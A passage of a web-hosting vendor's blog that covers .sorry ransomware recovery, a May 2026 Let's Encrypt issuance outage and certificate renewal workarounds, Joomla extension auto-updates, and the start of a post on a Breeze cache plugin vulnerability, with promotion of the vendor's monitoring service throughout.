If you only manage the sites and not the host, the file-level check is the only one you can run yourself. That is the one we automated.

How Do I Recover From a .sorry Ransomware Attack?

The recovery story for ransomware is unavoidably the backup story. There is no clever path here.

Do not reuse the compromised host. Move to a clean cPanel install on a patched version (11.110.0.97 / 11.118.0.63 / 11.126.0.54 / 11.132.0.29 / 11.134.0.20 / 11.136.0.5 / WP Squared 136.1.7).
Restore site files and the database from your last known-good backup. If you have been using mySites.guru's one-click backup feature, the most recent pre-encryption backup is the obvious starting point. Verify timestamps before restoring. Restoring a backup taken after the breach reintroduces the backdoors.
Rotate every credential the host touched. Database passwords, WP_ADMIN_USERS, FTP, mail accounts, API keys present in wp-config.php or configuration.php, Stripe/PayPal connectors, anything in .env. The Sorry playbook scrapes for these before encrypting.
Run a full audit of the restored site before pointing DNS at it. Even a clean backup can carry an older backdoor that the attacker used to gain CMS-level persistence months before the ransomware payload landed. Our How to Fix a Hacked Joomla or WordPress Site walkthrough covers this end-to-end.
If you have no clean backup, the practical options are: accept the data loss, rebuild from whatever assets you have elsewhere (git repos, CMS exports stored off-host, customer-side copies of content), or, only if the data is genuinely irreplaceable, engage a professional IR firm to negotiate. fix.mysites.guru is who we recommend when "irreplaceable" is the honest answer.

Note

Paying the ransom is generally a bad idea even when the data is critical. The Sorry operator's single shared Tox ID across all victims means there is no per-victim accountability, no "reputation" they need to protect with a working decryptor, and no straightforward way to verify a sample decrypt before sending payment. Treat it as a last resort with an IR firm, never as an end-user transaction.

Why Is .sorry Detection a Default Check?

Most signature-based malware scanners look at file content. A .sorry file's content is by definition unreadable ciphertext, so there is nothing for a YARA rule or a PHP eval-pattern regex to match on. The filename, on the other hand, is unmissable. There is no legitimate reason for a file under any CMS document root to end in .sorry. A single LIKE '%.sorry' query is faster than scanning content, has zero false positives, and works against future variants that change the encryption algorithm but keep the extension.

That is the same logic behind our existing detection for the 8,192,029-byte hack payload and the dozens of filename patterns we already flag on every audit. Cheap pattern checks at the end of an audit catch things content scanners miss. We added this one, we will add more as new ransomware families emerge with their own signature extensions.

If you already have mySites.guru connected to your sites, you do not need to do anything. The next audit on each site will pick up any .sorry files automatically. If a site flips to "hacked" with a Ransomware badge, you will get the standard hacked-site notification. The detection is retroactive: sites that were already encrypted before today will surface the badge on their next audit pass.

If you do not have mySites.guru connected yet, the free audit will run the same check across any sites you point it at.

Let's Encrypt Is Down. Renewals Are Next

phil@mysites.guru (Phil Taylor) — Fri, 08 May 2026 00:00:00 GMT

Operational - incident closed 2026-05-13 20:32 UTC

Let's Encrypt has closed the incident. The cross-certified subordinate CAs were missing Extended Key Usage (EKU) fields that are now required. Let's Encrypt has revoked and reissued the cross-signs of X2/YR by X1, and YE by X2. End-entity certificates have not been revoked because they remain compliant.

If you hold a certificate issued by the tlsserver or shortlived ACME profiles, Let's Encrypt recommends renewing it. The ACME Renewal Information (ARI) API is signalling affected certificates to renew now, so any ACME client that consults ARI will pick the new chain up automatically. Certificates issued from Let's Encrypt's roots YE and YR may not chain successfully to the previous roots X1 and X2 without an updated cross-signed intermediate.

Let's Encrypt's status page opened the incident at 18:37 UTC on 2026-05-08 with a single sentence: "We have been made aware of a potential incident and are shutting down all issuance." The production ACME directory endpoint at acme-v02.api.letsencrypt.org returned HTTP 503 for roughly two and a half hours before service was restored shortly after 21:00 UTC. The status page now describes the cause as an issue with the cross-signed certificate from Let's Encrypt's Generation X root to its new Generation Y root, and confirms issuance has been switched back to the Generation X root for the tlsserver and shortlived ACME certificate profiles.

We saw it across mySites.guru subscriber sites during the outage window. Renewal jobs that ran between roughly 18:37 and 21:00 UTC came back with urn:ietf:params:acme:error:serverInternal and 503 Service Unavailable from acme-v02.api.letsencrypt.org/directory. None of those failures would reach the site owner until their alert threshold tripped, or worse, until the cert actually expired and a browser started blocking visitors. That gap between "renewal failed" and "site is down" is the whole reason we built expiry monitoring, and incidents like today are the reason it earns its keep.

The blast radius was wider than just self-hosted ACME clients. At 20:46 UTC, DigitalOcean opened an incident confirming the Let's Encrypt outage was breaking new certificate issuance for Spaces, Spaces CDN, Load Balancers and App Platform Custom Domains, and causing stuck or delayed creates/forks/restores on Managed Databases (Mongo, PostgreSQL, MySQL). DigitalOcean's note that "operations related to Managed Databases and App Platform Custom Domains will automatically retry and should complete successfully once the upstream outage is resolved" was fair, and confirms that a Let's Encrypt halt is not just a self-hosted-VPS problem: it cascades through every managed-platform layer that quietly depends on Let's Encrypt for TLS termination.

The rest of this is what we know about the cause, what's still unclear, and what to do if you ran a renewal during the outage window.

What Does the Let's Encrypt Incident Mean for My Sites?

Existing certificates keep working until their stated expiry.

The outage breaks new issuance and renewal, not currently-valid certificates.

The TLS handshake between a visitor's browser and your web server doesn't phone home to Let's Encrypt on every request. CRLs are static-published documents. OCSP (the live revocation lookup that used to depend on CA infrastructure being available) reached end of life in August 2025. So a Let's Encrypt outage today does not in itself break sites that already hold a valid cert.

What it does break is new issuance and renewal. Every certbot, acme.sh, Caddy, Traefik, cPanel autossl and managed-host renewal job currently in flight is hitting that 503. ACME clients on default schedules typically retry with some backoff, and most are configured to renew at 60 days into a 90-day lifetime. A multi-hour outage rarely causes immediate expiry. A multi-day outage starts catching the long tail of certs that were already within their 30-day renewal window when it started.

The certs most exposed are the ones using Let's Encrypt's six-day "shortlived" profile, generally available since 2026-01-15. Shortlived certs renew every 2.5 days or so, so even a 12-hour outage eats a meaningful chunk of the renewal margin.

How the Let's Encrypt Outage Unfolded

A cross-sign problem with their new Generation Y root.

Issuance has been rolled back to the older Generation X root for the tlsserver and shortlived ACME profiles.

The status page note reads: "Due to an issue with the cross-signed certificate from our Generation X root to our new Generation Y root, all issuance has been switched back to our Generation X root certificate. This affects our 'tlsserver' and 'shortlived' ACME certificate profiles."

In plain English: Let's Encrypt has two root certificates in play. Generation X is the older one that every browser, OS and TLS library has trusted for years. Generation Y is the newer one they've been rolling in. To bridge old clients during the rollover, end-entity certs were being issued from an intermediate that chained up via a cross-signed link from Generation X to Generation Y, so anything trusting either root could validate the chain. The cross-sign is what broke. Issuing only via Generation X again keeps trust working for everyone, at the cost of pausing the Generation Y rollout (the shorter-chain handshake and ECDSA-root benefits Generation Y was meant to deliver).

For most operators that means nothing changes. Certificates issued today after roughly 21:00 UTC chain via Generation X, the way they have for years. Browsers and TLS clients won't notice. The only people who need to look twice are anyone who deliberately pinned the new Generation Y root in their own infrastructure (rare, but possible for some IoT or embedded use cases): verify your setup still validates.

Postmortem: Missing Extended Key Usage on the Cross-Signs

On 2026-05-13 at 20:32 UTC Let's Encrypt closed the incident with a clear root cause. The cross-certified subordinate CAs that bridged Generation X and Generation Y were missing Extended Key Usage (EKU) fields that are now required. The CA/Browser Forum Baseline Requirements tightened EKU rules so that a subordinate CA used to issue TLS server certificates must carry an explicit id-kp-serverAuth EKU; a subordinate without one is no longer a valid issuing chain for serverAuth use. The original cross-signs had been issued without that field, which is why the new chain stopped validating once the requirement took effect.

The fix had two phases. The first, on 2026-05-08, was the operational rollback that's already in this post: switch the tlsserver and shortlived ACME profiles back to issuing from the Generation X root so the rest of the world keeps validating. The second, on 2026-05-13, was the proper repair: revoke and reissue the cross-signs of X2/YR by X1, and YE by X2, with the EKU fields included. End-entity certificates were not revoked because they're still compliant on their own. The repair is on the intermediates, not the leaves.

If you hold a certificate that was issued by the tlsserver or shortlived ACME profiles in the window when the bad cross-signs were in use, Let's Encrypt recommends renewing it so the chain pulls the corrected intermediate. The ACME Renewal Information (ARI) API is signalling affected certificates to renew immediately, so any ACME client that honours ARI (recent certbot, recent acme.sh, Caddy 2.7+) will pick the renewal up on its next scheduled run with no operator action required. Anyone who pinned the new Generation Y root in their own infrastructure should verify their cross-signed intermediate has been refreshed.

This is the right shape of postmortem from a CA. Fast operational mitigation, clear root cause, narrow blast radius (intermediates, not leaves), and a renewal signal pushed through ARI so the long tail of clients fixes itself.

Incident Timeline

All times UTC. We're updating this list as new signals come in.

Time (UTC)	What happened
2026-05-08 17:17 - 17:27	Scheduled Database API maintenance on `acme-v02.api.letsencrypt.org` (Production), High Assurance Datacenter 1 and 2. The status page note said ACME clients might see timeouts of up to 10 minutes during the window. Marked Done at 18:46 UTC. Same component, same datacenters as the issuance halt that followed about an hour later. Let's Encrypt has not linked the two, and we're not either - but it's the timing detail people will ask about.
2026-05-08 18:37	Let's Encrypt opens incident "Stopping Issuance for Potential Incident". Single-sentence message: "We have been made aware of a potential incident and are shutting down all issuance." Components flagged: acme-v02.api.letsencrypt.org (Production), acme-staging-v02 (Staging), portal.letsencrypt.org, portal-staging.
2026-05-08 18:47	Status page last updated. Production confirmed at "Partial Service Disruption", datacenters High Assurance 1 and 2. No further public communication after this point.
~19:00	First failed renewal jobs on mySites.guru subscriber sites. ACME clients return `urn:ietf:params:acme:error:serverInternal` against `/directory`. Staging endpoint still healthy, returning HTTP 200, confirming the halt is targeted at production.
~19:30	Production `/directory` still HTTP 503. No thread on community.letsencrypt.org incidents board. No top-of-page Hacker News discussion. Twitter chatter starting but unconfirmed.
2026-05-08 20:46	DigitalOcean opens an incident on its status page: "Let's Encrypt Outage Affecting Certificate Issuance and Managed Databases Operations", status Identified. Affected components flagged Global: App Platform, Managed Databases, Load Balancers, Spaces, Spaces CDN. Symptoms: inability to create new Let's Encrypt certificates for Spaces / Load Balancers / App Platform Custom Domains, and stuck or delayed creates/forks/restores on Mongo, PostgreSQL and MySQL managed databases. DO's note: operations will automatically retry and complete once Let's Encrypt is back. Confirms the outage is now visible at the managed-platform layer, not just on self-hosted ACME clients.
~21:05	Issuance restored. `acme-v02.api.letsencrypt.org/directory` returns HTTP 200 again. Status page note: "Due to an issue with the cross-signed certificate from our Generation X root to our new Generation Y root, all issuance has been switched back to our Generation X root certificate. This affects our 'tlsserver' and 'shortlived' ACME certificate profiles." Total outage window: roughly 2h 28m.
2026-05-13 20:32	Incident closed. Status moved back to Operational. Let's Encrypt's note identifies the root cause as missing Extended Key Usage (EKU) fields on the cross-certified subordinate CAs, which are now required. Let's Encrypt has revoked and reissued the cross-signs of X2/YR by X1, and YE by X2. End-entity certs are not being revoked because they remain compliant. ARI is signalling affected certs (those issued by the `tlsserver` and `shortlived` profiles) to renew now. Total incident window from initial halt to closure: ~5 days, but issuance itself was only paused for ~2h 28m on 2026-05-08.
Now	All ACME profiles operational. Any client that honours ACME Renewal Information (ARI) will renew affected certificates automatically. Watching letsencrypt.status.io and community.letsencrypt.org/c/incidents for any further detail or Generation Y reintroduction notice.

Warning

If you have already-issued certs that need re-issuance for any reason today (key compromise, domain change, SAN addition), assume that operation is blocked until further notice and plan around it.

How Do I Find Every Site With an At-Risk SSL Certificate?

The hard part of an incident like this isn't the technical fix on any one site. It's knowing which sites in your portfolio are at risk. If you manage twenty Joomla and WordPress sites for clients, you have two questions to answer in the next ten minutes:

Which of my sites' Let's Encrypt certs are inside their renewal window today?
Which of my sites' renewal crons ran in the last hour and silently failed?

mySites.guru has tracked SSL certificates on every site snapshot since 2012. On every snapshot we download the active certificate the same way a browser would, then record the issuer, expiry date and full chain validity. The dashboard sorts every connected site by certificate expiration date. During an incident like today's, that sorted list is your priority queue.

The default alert window is two days before expiry. For most sites running a healthy renewal cron that's plenty (the cron renews at day 30, the alert is a safety net). Today is the day that safety net actually matters.

If you're not a subscriber yet, you can connect your sites and run the same SSL audit in a free audit. The SSL state of every connected site is one of the things the audit covers.

mySites.guru Subscriber Action Steps

Open manage.mysites.guru/en/sites/by/ssl/expiration. The page lists every connected site sorted by SSL expiration date, with the issuer (Let's Encrypt, ZeroSSL, Sectigo, cPanel auto-SSL, whatever) for each. That's the single view you want during this incident.

Reading the issuer column

The codes in the Issuer column are the certificate authority's intermediate CA short names. The ones starting with R (R10, R11, R12, R13, R14) and E (E5, E6, E7, E8, E9) are all Let's Encrypt: R-series are RSA intermediates, E-series are ECDSA. WE1 and WR1-WR4 are Google Trust Services. Anything starting with R or E in this dashboard means the site is renewing through Let's Encrypt and is exposed to today's incident.

Three things to do with it:

Anything in the next 14 days needs eyes on it today. Sort by expiration, look at the top of the list, decide whether each site can wait or needs a manual intervention (paid stopgap cert or a switch to ZeroSSL).
Filter by issuer. If a site is showing a non Let's Encrypt issuer, it's not affected by this incident at all. Move on.
For at-risk sites, check the renewal cron logs on the host. Most failures right now will be urn:ietf:params:acme:error:serverInternal from acme-v02.api.letsencrypt.org/directory. That's the LE outage, not anything wrong with your config.

If your alert window is set at the default two days, push it out for the duration of the incident. We'd rather over-alert and have you ignore a few than under-alert and miss the one site that mattered. The alert window is configurable per site.

Export the list to CSV from the same screen if you want to share it with a co-worker or work the priority queue offline.

How Do I Renew an SSL Certificate When Let's Encrypt Is Down?

If you have a cert that genuinely needs to renew before Let's Encrypt is back, there are three options that actually work.

The first is to switch your ACME client to ZeroSSL. ZeroSSL speaks ACME, issues free 90-day DV certificates, supports wildcards on the free tier, and is the most widely-used drop-in for Let's Encrypt during incidents like today's. It requires External Account Binding (EAB), which is a one-time pairing step: log into ZeroSSL Developer, click "Generate" under EAB Credentials for ACME, and copy the two strings it gives you (a KID and an HMAC key). The KID is short. The HMAC key is a longer base64 string. You only generate them once per account and reuse them for every certbot run.

For certbot, the switch looks roughly like the example below. This is illustrative, not copy-and-paste. Replace the placeholders with your real EAB credentials, your webroot path, and your domain names before running it.

# EXAMPLE - swap placeholders for real values before running
certbot certonly \
  --server https://acme.zerossl.com/v2/DV90 \
  --eab-kid PASTE_YOUR_EAB_KID_FROM_ZEROSSL_DASHBOARD \
  --eab-hmac-key PASTE_YOUR_EAB_HMAC_FROM_ZEROSSL_DASHBOARD \
  --webroot -w /var/www/html \
  -d example.com -d www.example.com

--eab-kid and --eab-hmac-key come from the ZeroSSL EAB credentials screen. -w is the webroot path that serves files for example.com (whatever directory /.well-known/acme-challenge/ is reachable from on your host). -d lists every name you want on the cert.

Two caveats. If you have CAA DNS records pinning issuance to letsencrypt.org, ZeroSSL's challenge will fail until you add or replace the CAA record. And every CA has its own rate limits, so don't try to migrate hundreds of sites in one batch. A handful of high-priority renewals is the right scope during a short outage.

The second option is a paid cert as a stopgap. DigiCert, Sectigo, GlobalSign, Namecheap and Google Trust Services all issue paid 1-year DV certs for somewhere between $5 and $50 with same-day turnaround. Not elegant, but if a flagship site is hours from expiry and you need certainty today, this is the option that delivers it. Replace it with Let's Encrypt once issuance resumes.

The third option is to wait. For most sites that's the right answer. Let's Encrypt outages have historically resolved in hours, not days. Default 90-day certs renewing at day 30 have a 30-day cushion. Unless you're on shortlived certs or you're already inside the 14-day red zone, waiting is fine.

Note

If your renewal cron is going to retry every hour for the next week regardless of whether it succeeds, you do not need to do anything special during the outage. The retry will eventually succeed. The risk is the silent-fail case where the cron logs an error and nobody reads the log.

Let's Encrypt Alternatives for Free SSL Certs

If you want a free Let's Encrypt alternative for the affected sites today, the realistic answer is ZeroSSL. It's free, it speaks ACME, it issues 90-day DV certificates with wildcard support on the free tier, and it's the most widely-used drop-in when Let's Encrypt is unavailable.

A few details worth knowing before you switch.

ZeroSSL requires External Account Binding (EAB) on its ACME endpoint. EAB is a one-time pairing step: log into ZeroSSL Developer, generate EAB credentials for ACME, and pass the resulting KID and HMAC key to certbot, acme.sh, Caddy or whichever ACME client you use. We have a worked certbot example in the previous section.

CAA records will block ZeroSSL until you fix them. Run dig CAA your-domain.com first. If you see issue "letsencrypt.org", that record is telling every CA except Let's Encrypt to refuse issuance. Either remove it or add issue "sectigo.com" (ZeroSSL's underlying root is Sectigo) before you run the renewal. CAA changes propagate at DNS speed, which is usually minutes, but plan that step first.

Free-tier rate limits exist and aren't fully published. ZeroSSL has documented 429 issues on multi-SAN HTTP-01 issuance under cert-manager, which is fine for the handful of urgent renewals you're doing during an outage but not something to rely on as a primary portfolio-wide CA. Move the few sites that genuinely need to renew today, leave the rest on Let's Encrypt's renewal cron to retry once issuance resumes.

One historical aside, in case older guides bring it up: Buypass Go SSL used to be the other go-to free ACME alternative. It discontinued issuance on 2025-10-15 and shut down its ACME endpoint on 2026-04-15. Any tutorial pointing at api.buypass.com/acme/directory is now stale. ZeroSSL is the live recommendation.

Short Certificate Lifetimes Amplify Outages

Let's Encrypt's original 90-day rationale from 2015 was straightforward: shorter lifetimes limit the damage of a key compromise and force operators to automate renewal. Both arguments are correct. The trade-off nobody spent much time on in 2015 is that your operational margin during any CA disruption is exactly the unused portion of the certificate lifetime at the moment it starts.

In December 2025 Let's Encrypt announced its intention to drop the default lifetime from 90 days to 45 days by 2028. In January 2026 the six-day shortlived profile reached general availability. Both moves are defensible on security grounds (shorter lifetimes do reduce compromise windows). The cost they impose is sensitivity to outages like today's. A 90-day cert renewing at day 30 has a 30-day buffer. A 45-day cert renewing at day 15 has 15 days. A 6-day shortlived cert renewing every 2.5 days has hours.

Short-lived certs aren't bad. They're just unforgiving. As the industry moves towards them, the cost of any single CA going down for half a day grows. Roughly 63% of all TLS-enabled sites depend on Let's Encrypt, so the short-lifetime trend and the CA monoculture problem stack on each other. Today's incident is a relatively cheap rehearsal. Once 6-day certs are normal and a CA goes dark for a working day, it'll be a different conversation.

Let's Encrypt's Track Record on Past Incidents

A short operator memory of recent Let's Encrypt history:

2020-02-29: the CAA rechecking bug. A Boulder bug let CAA records be bypassed in some renewal flows. 3,048,289 certificates were flagged. Let's Encrypt eventually decided not to revoke ~1 million of them past the deadline because doing so would have broken too much of the web. Operational scramble lasted about five days. Bugzilla #1619179.
2025-07-21: complete API outage. Multi-hour total ACME API failure, postmortem dated 2025-09-02. No mass revocation, but widespread renewal failures.
2025-08-06: OCSP responders shut down for good. Not an outage, but it changed the failure mode for every Let's Encrypt incident going forward. There's no live revocation service for browsers to fail to reach. CRLs are now the only revocation transport, and CRLs are static.
2026-01-15: six-day shortlived certs GA. Increased the population of certs that are exposed to short outages.
2026-05-08: this incident. Cross-signs of X2/YR by X1, and YE by X2, were issued without the now-required Extended Key Usage (EKU) fields. Issuance halted at 18:37 UTC, restored shortly after 21:00 UTC by rolling the tlsserver and shortlived profiles back to the Generation X root. About 2h 28m of pause. Postmortem published and incident formally closed on 2026-05-13 at 20:32 UTC after the cross-signs were revoked and reissued with EKUs included.

This incident sits closer to the 2025-07-21 pattern than the 2020 one: a deliberate halt, a fast diagnosis, a clean rollback to a known-good configuration, no mass revocation of end-entity certs. The postmortem was unusually narrow in blast radius - the problem was an attribute missing from intermediates, the fix was on the intermediates, and ACME Renewal Information did the heavy lifting of telling clients which leaves to re-pull. Whether Generation Y comes back next week, next month or next quarter depends on Let's Encrypt's confidence in the corrected cross-signs.

What Should I Do Now That Issuance Is Back?

If a renewal cron failed during the 2026-05-08 outage window, it should have retried successfully since 21:00 UTC. Most ACME clients retry on a regular cadence (certbot's systemd timer runs twice a day, acme.sh runs daily, Caddy retries on its own backoff), so the typical case is "the next scheduled run will succeed and you don't have to do anything". If you want to force it, run certbot renew (or your client's equivalent) once and confirm the cert is reissued.

If your sites were issued by the tlsserver or shortlived ACME profiles between the initial halt and the cross-sign reissue on 2026-05-13, Let's Encrypt recommends renewing them so the chain pulls the corrected intermediate. The ACME Renewal Information (ARI) API is signalling those certs to renew now, so if your ACME client honours ARI you don't need to do anything: the next scheduled run will see the renewal hint and act on it. If you're on an older client that ignores ARI, run a manual renewal once and confirm the new chain is in place. To check, inspect the issued chain with openssl s_client -connect example.com:443 -showcerts and look for the freshly-dated intermediate.

If you manually switched a site to ZeroSSL during the outage as a stopgap, you don't need to switch it back today. ZeroSSL's 90-day DV cert is fine to live with until its own renewal date, at which point your normal automation will pick whatever ACME server you've left configured.

If you ran a Generation Y-aware integration (rare, but possible if you'd been testing the new root in your own pipeline), verify that any cert issued during the incident validates against your trust store. Pinned trust to the new YR or YE roots is exactly the kind of setup that's affected by the cross-sign repair: refresh the cross-signed intermediate in any pinning configuration so it carries the new EKU.

The 2026-05-08 outage was cheap. About 2h 28m of paused issuance, resolved by an internal rollback to a known-good root, no mass revocation of end-entity certs, with a clean postmortem five days later that fixed the bad intermediates without touching anyone's leaves. The next one might not be. With shorter cert lifetimes coming and most of the web pointing at one CA, the operational margin keeps shrinking, and any operator running renewals on autopilot without expiry alerts is one bad incident away from finding out the hard way which sites mattered.

How to Enable Joomla Extension Auto-Updates Safely

phil@mysites.guru (Phil Taylor) — Thu, 07 May 2026 00:00:00 GMT

Joomla 5.4 and 6.1 ship native auto-update for the CMS core, but not for extensions.

If you want Akeeba Backup, Admin Tools, JCE, RegularLabs, or your own custom extensions to update on their own across one or many sites, you still need an external platform like mySites.guru driving the Joomla update API on a schedule.

The trick is that an auto-update toggle on its own is the easy part. The hard part is the backup taken before the update, the uptime monitoring that catches a regression in minutes, the email alert that names the site and the version, and the vulnerability data that tells you whether the update was urgent in the first place. mySites.guru wires those four together so the toggle is the last decision you make, not the first.

This is a practical how-to. If you want the longer walkthrough of how the per-extension toggle and split button work in isolation, that is covered in the auto-update any Joomla extension post. Here we focus on the steps an agency follows on day one to turn it on safely.

Prerequisites Before You Enable Auto-Updates

Three things, in order:

A connected Joomla site (or sites) in your mySites.guru account, on Joomla 4, 5, or 6.
A scheduled daily backup using Akeeba Backup, so you always have a restore point from before the auto-update ran. Optional of course but insane to run auto-updates without a backup policy.
A list of extension update streams you trust enough to apply without a human in the loop.

Native Joomla still does not have an "auto-update extensions" toggle. Joomla 5.4 introduced auto-update for the CMS core itself, which most agencies actually want disabled on client sites. The extension-side story is handled outside core.

How do you enable Joomla extension auto-update on a single site?

On the Manage Site page for any connected Joomla site, open the Updates tab. mySites.guru reads every update site stream the Joomla site reports through its standard updates API. You will see one row per stream, with the developer URL, the currently-installed version, and the available version.

Click the Auto Update toggle on the row for the stream you want to automate. That stream is now checked once every 24 hours. If a new version is available for the installed extension, mySites.guru calls the Joomla updates API on your site and applies it. You receive an email with the site name, the extension, the from-version, the to-version, and the result.

Nothing is enabled by default. Every toggle is an explicit opt-in by you, per extension, per site.

Turn Auto-Update on Across Every Site With One Click

Each Auto Update toggle has a split button. Click the dropdown next to any extension's status pill and you get four explicit choices, the same four for every extension and for both Joomla and WordPress:

Enable on this site - turn auto-update on for this one extension on the site you are currently viewing.
Enable on ALL sites - turn auto-update on for this extension on every connected site that has it installed. Two clicks and Akeeba Backup is auto-updating across the portfolio.
Disable on this site - turn it off here, leave the rest of the portfolio alone.
Disable on ALL sites - kill the auto-update for this extension everywhere it is enabled, in one action. The escape hatch when an extension stream stops being trustworthy.

That last one is the part agencies underestimate. The day a developer ships a regression in their auto-update channel, you do not want to log into 50 backends to disable the toggle one by one. One dropdown, one click, every site.

This is the part that breaks down without tooling. Logging into 50 client backends to flip a per-site setting is not a workflow agencies sustain. Doing it once from a single dashboard is.

The same toggle is available for the Joomla Update Component itself. If you do want core auto-updates on, you can enable that here too, but most agencies leave that off and run core updates through a controlled mass-upgrade pass instead.

WordPress Plugin Auto-Updates Work the Same Way

The same workflow runs for WordPress plugins. WordPress has shipped first-party plugin auto-updates since 5.5, but it is per-site, in the wp-admin UI, and it gives you no portfolio view. From mySites.guru's Manage Site page, the Update tab on a WordPress site lists every installed plugin with the same Auto Update toggle and the same split-button "this site / all sites" choice that the Joomla side uses.

So the same answer applies whether you run a Joomla portfolio, a WordPress portfolio, or a mix:

One UI for both CMS platforms. The same toggle, the same "all sites" split button, the same daily check, the same email alerts.
Per-plugin opt-in. Auto Update Disabled is the default on every plugin. You decide which streams you trust per CMS.
Cross-CMS portfolio view. The Updates dashboard shows every site, every plugin/extension stream, and the auto-update state across both CMS platforms in one filter.

If your portfolio is mixed (most agencies' is) this is where mySites.guru pays for itself most visibly. WordPress plugin auto-update is a wp-admin per-site checkbox; doing it portfolio-wide on 80 mixed sites without a unified UI is the workflow the platform is built to replace.

Which Joomla extensions are safe to auto-update?

Auto-update earns its place on extensions where the developer has a long track record of non-breaking releases. The four families that are auto-updated portfolio-wide most often:

Akeeba Backup and Admin Tools. Backup integrity matters and Akeeba's release cadence is stable.
JCE Editor. The dominant Joomla content editor, and one that shipped two security releases in a week, including an unauthenticated file upload fix. Auto-update sites had both before most agencies had read the advisory.
RegularLabs. Modules Anywhere, Articles Anywhere, the rest of the family.
Custom extensions you maintain yourself. You set the cadence and you wrote the code.

Auto-update is a worse fit for:

Page builders that touch every template render
E-commerce components like VirtueMart and HikaShop where a checkout regression is a revenue regression
Anything that runs database schema changes on update without a migration step you can roll back

For those, queue a manual update through the bulk upgrade workflow on a Tuesday morning when you can watch the dashboard.

WordPress folks have had plugin auto-updates for years, and we see - repeatedly - issues with page builders and ecommerce plugins auto-updating, not being noticed, and breaking sites.

How do you roll back a Joomla extension auto-update that broke a site?

The email alert names the site, the extension, and the version it was upgraded to. From there:

Restore the daily Akeeba Backup taken before the update ran.
Disable the Auto Update toggle on that specific stream so the next 24-hour check does not re-apply it.
Open the Joomla site, manually install the previous version of the extension if the developer keeps old releases, or stay on the restored version until the developer ships a fixed point release.
If uptime monitoring caught the regression first, the alert email and the uptime alert will both reference the same minute, which makes correlating them with the auto-update record straightforward.

The point of the daily backup is exactly this: the rollback is "restore yesterday and turn the toggle off," not "spend a day reverse-engineering what changed".

Note

If an extension does not implement a Joomla update site, auto-update is not an option for it. The mass installer covers that case by letting you push a zip across many sites in one action.

Extension Auto-Update vs Joomla 5.4 Core Auto-Update

Different scopes, different mechanisms.

Feature	Scope	Triggered by	Configured in
Joomla 5.4+ core auto-update	The Joomla CMS itself	Joomla.org infrastructure release pushes new version	Joomla System → Update settings
mySites.guru extension auto-update	One or many third-party extensions across one or many sites	mySites.guru's daily check against each update site URL	Updates tab on each connected site

Most agencies still disable Joomla core auto-updates on client sites - for good reason - because a silent core upgrade can interact unpredictably with extensions, templates, and overrides that have not yet been tested against the new version. Then they enable extension auto-updates selectively for the streams above. That gives you predictable extension currency without losing control over when the core moves.

How do I see which sites have Joomla auto-update enabled and for which extensions?

The Manage Site page has the per-site view. For a portfolio view, the Updates dashboard shows every site, every installed extension stream, and the auto-update state. You can filter by extension to answer the agency-typical question of "which sites have Akeeba Backup auto-update on, and which do not".

Combine that with the vulnerability scanner and the security audit and you have the three signals that matter on day one of an extension CVE: which sites have it installed, which sites are auto-updating it, and which sites are still vulnerable. The same three signals work for core CVEs - the Joomla 5.4.6 and 6.1.1 security release on 26 May 2026 is a recent example where the dashboard answered "which sites are still on the vulnerable version" in seconds.

Why Rolling Your Own Auto-Updater Always Falls Apart

Every agency that runs more than a handful of Joomla sites eventually asks: can we just write a bash script and a cron job, hit each site's update API, and skip paying for a platform? The technical answer is yes, you can. The honest answer is you will, for about six months.

What gets you in the end is not the script. It's everything underneath it.

Per-site, not per-portfolio. A bash or PHP cron sitting on each Joomla site's own server is per-site by definition. Want to know which of 80 client sites successfully patched JCE Editor last night? You are SSH'ing into 80 servers and grepping logs, or you are building the dashboard yourself. That is the platform you decided not to pay for, now built worse.
Joomla minor releases keep breaking it. The update API is stable, until a 5.x point release tightens authentication, or 6.0 deprecates a field, or a TUF rollout changes the hash algorithm (Joomla extension manifests have already moved from MD5 to SHA-256/384/512 over the years). Every Joomla release is a chance for your homegrown script to silently start failing on a subset of sites. You find out from the client.
Key and credential rotation. Each site needs a credential the script can present to call the admin API, or a long-lived token sitting in a script directory the world can read. When the developer who wrote the script leaves, that credential moves with them or stays orphaned on every site.
No monitoring wiring. A cron that exits 0 on a failed update because it didn't actually parse the response is the worst kind of monitoring: silent confidence. Without a separate alerting layer (uptime monitor, error log parser, email-to-on-call), you find broken updates the way clients always do, which is after the homepage breaks.
Maintenance is a tax you pay forever. Joomla update XML adds a new field. PHP 8.4 changes a deprecation. cURL 8 tightens TLS defaults. Each one is a half-day for someone on your team to patch the script across every site, or a ticket that sits in the backlog while sites quietly drift out of compatibility.

mySites.guru is the platform answer to all of the above. The check runs once a day per stream from a central queue, not per site. The agency dashboard is the per-portfolio view, already built. The connector is updated for every Joomla minor release as part of the platform's daily work, not yours. Failed updates email the account owner, not /dev/null. And the £19.99 a month for unlimited sites is, in agency time terms, less than the half-day a quarter you would otherwise be spending fixing your own script.

Roll-your-own is a fine prototype. It is a bad five-year plan.

Breeze, Cloudways Cache Plugin, Has a Remote Code Execution Bug

phil@mysites.guru (Phil Taylor) — Wed, 06 May 2026 00:00:00 GMT

Wordfence blocked 3,936 attack attempts against the Breeze Cache WordPress plugin in a single 24-hour window in late April 2026. CVE-2026-3844 is an unauthenticated arbitrary file upload, scored CVSS 9.8, and ends in remote code execution. Breeze has 400,000+ active installs, and Cloudways ships it as the default cache plugin on its WordPress hosting platform.

This is a Cloudways-flavoured problem. Breeze is Cloudways' own cache plugin and ships preinstalled on every new WordPress install on the Cloudways platform. If you are not a Cloudways customer and you have not specifically chosen to install Breeze on a self-hosted site, you are not affected by this CVE and you can stop reading. If you are on Cloudways, or if you reached for Breeze as a free WP Rocket alternative on a self-hosted site, read on.

The plugin author patched it in version 2.4.5 on April 21, 2026, and shipped two follow-up versions (2.4.6, 2.4.7) since. The technical fix takes a minute per site. The harder question is which sites in your portfolio are still on a vulnerable build, and how quickly you can prove it.

We queried our own extension inventory the day Wordfence's advisory landed. Hundreds of paying mySites.guru subscriber sites were running pre-2.4.5 Breeze. One was on Breeze 1.0.10, an eight-year-old build. We emailed every affected customer the same day.

This post covers what CVE-2026-3844 actually is, how to detect a compromise, and how to find every Breeze install across a portfolio of WordPress sites without logging into 50 dashboards.

How to Find Every Breeze Cache Install with mySites.guru

If you manage more than three or four WordPress sites, manual inspection is the wrong tool for a vulnerability like this. mySites.guru's extension inventory tracks every plugin on every connected WordPress site, with the version each one is running. Search for breeze, and the dashboard returns every site with the plugin installed, colour-coded against the patched version.

mySites.guru subscribers: jump straight to the Breeze inventory

